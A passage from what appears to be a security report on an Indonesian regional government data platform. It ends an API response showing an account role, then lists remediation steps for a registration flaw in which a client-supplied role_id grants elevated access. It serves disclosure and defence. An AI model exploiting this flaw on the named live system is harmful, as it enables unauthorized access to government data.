593068","postal_code":"-","website":"https:\/\/bakesbanglinmas.sukoharjokab.go.id\/","created_at":"2025-02-03T02:14:16.000000Z","updated_at":"2025-02-03T02:14:16.000000Z"},"role":{"id":2,"name":"Produsen Data","description":"Pihak yang bertugas mengelola, mengunggah, dan memutakhirkan data di platform. Produsen Data bertanggung jawab atas validitas, kelengkapan, dan akurasi data yang disediakan sesuai dengan standar yang ditetapkan.","created_at":null,"updated_at":null}}]}

4. Remediation Guidelines

Restrict Public Registration: Disable public registration (/auth/register) on the production and development APIs, or enforce strict server-side validation to ensure client-supplied parameters like role_id cannot be overridden. Default user registrations should strictly inherit the lowest access privileges.
Implement Role-Based Access Control (RBAC): Ensure privilege checks are enforced on server endpoints so that sensitive administrative functionality is accessible only to verified, pre-approved personnel.
Invalidate Unauthorized Accounts: Audit and remove all unauthorized user accounts generated during the testing window (such as ID 53 and related test accounts).